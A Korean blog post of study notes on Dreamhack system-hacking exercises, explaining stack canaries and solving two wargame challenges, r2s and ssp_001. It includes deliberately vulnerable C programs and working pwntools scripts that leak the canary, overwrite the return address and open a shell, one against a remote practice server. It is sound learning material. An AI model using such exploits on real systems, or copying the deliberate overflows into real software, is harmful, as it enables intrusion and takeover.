[Dreamhack] Systemhacking: Stack Canary

chrmqgozj·2025년 1월 1일

DreamHack

목록 보기
3/39

Stack Buffer Overflow를 막는 보안기법이다.
스택 카나리를 함수 시작할 때 버퍼와 반환 주소 사이에 저장하고, 함수가 끝날 때 카나리 값이 변조됐는지 확인한다.

  1. Stack Canary
    1.1 개념

함수 시작과 끝에 위의 코드가 추가됨을 알 수 있다. 시작할 때 fs:0x28의 값을 저장하고, 끝낼 때 rbp-0x8의 가밧이 fs:0x28의 값과 일치하는지 확인한다. 일치하지 않으면 stack_chk_fail이 발생한다.

참고로 fs란,

즉, OS가 임의로 사용할 수 있는 레지스터라고 생각하면 될 것 같다.

1.2. 카나리 값 확인 (fs 값 확인)

  • fs 값을 설정할 때 호출되는 함수
arch_prctl(int code, unsigned long addr)
arch_prctl(ARCH_SET_FS, addr) // fs = addr
  • catch: 특정 이벤트 발생 시 프로세스 중지
catch syscall arch_prctl
info register $rdi // ARCH_SET_FS 상수값
info register $rsi // TLS의 주소
  • watch: 특정 주소에 저장된 값이 변경되면 프로세스 중지
watch *(TLS 주소 + 0x28)

참고: 카나리 시작값은 널 바이트. 카나리 값 유출 방지

1.3. 카나리 우회
1.3.1. Brute Force

1.3.2. TLS 접근
TLS 주소는 실행마다 바뀌지만, 실행 중에 TLS 주소를 알아낼 수 있다면 카나리 값 알아낼 수 있음

1.3.3. 스택 카나리 릭

  1. Return to Shellcode
    2.1. r2s.c
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

buf 주소, buf와 rbp 거리도 준다.

그리고 총 2번의 입력이 존재한다. read, gets.

첫 번째 입력에서 카나리를 얻고, gets에서 카나리를 덮어야 한다.

2.2. 실행

2.3. exploit.py

from pwn import *

p = process("./r2s")

context.arch = 'amd64'

p.recvuntil(b"Address of the buf: ")
addr = int(p.recvline(), 16)

p.recvuntil(b"Distance between buf and $rbp: ")
size = int(p.recvline())

payload = b"A" * (size-7)

p.sendafter(b"Input:", payload)

p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))

shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(size-8, b'A') + p64(canary) + b"A"*8 + p64(addr)

p.sendlineafter(b"Input: ", payload)

p.interactive()

생각보다 애를 많이 먹었는데, 일단 shellcode가 제대로 안 먹었다. 아마 64비트로 해야 되는데 32비트로 해서 그런 듯
자잘한 것들을 많이 봐줘야 할 것 같다.

  1. ssp_001
    3.1. ssp_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}
  • F: box 입력
  • P: 내가 지정하는 box 위치 출력
  • E: 내가 지정하는 길이만큼 name에 저장

스택 프레임은 이런 느낌

일단 box 채워서 카나리 값 얻고 마지막에 name으로 리턴 주소 덮으면 될 것 같다.

3.2. 실행
disass로 살펴보면
box: rbp-0x88
name: rbp-0x48
canary: rbp-0x8

get_shell: 0x80486b9

근데 box가 box 크기만큼만 입력값을 받는데... 카나리에 닿을 수 있나?

찾아보니 box index는 범위 제한이 없기 때문에 카나리를 바로 읽어올 수 있다.

3.3. exploit.py

from pwn import *

#p = process("./ssp_001")
p = remote("host1.dreamhack.games", 16976)
e = ELF("./ssp_001")
canary = b""
get_shell = e.symbols['get_shell']

for i in range(4):
    p.sendafter(b"> ", b"P")
    p.sendlineafter(b"Element index : ", bytes(str(131-i), 'utf-8'))
    p.recvuntil(b"is : ")
    canary += p.recv(2)

canary = int(canary, 16)
payload = b"A" * 0x40 + p32(canary) + b"B" * 8 + p32(get_shell)

p.sendafter(b"> ", b"E")
p.sendlineafter(b"Name Size : ", bytes(str(len(payload)), 'utf-8'))
p.sendafter(b"Name : ", payload)
p.interactive()

0개의 댓글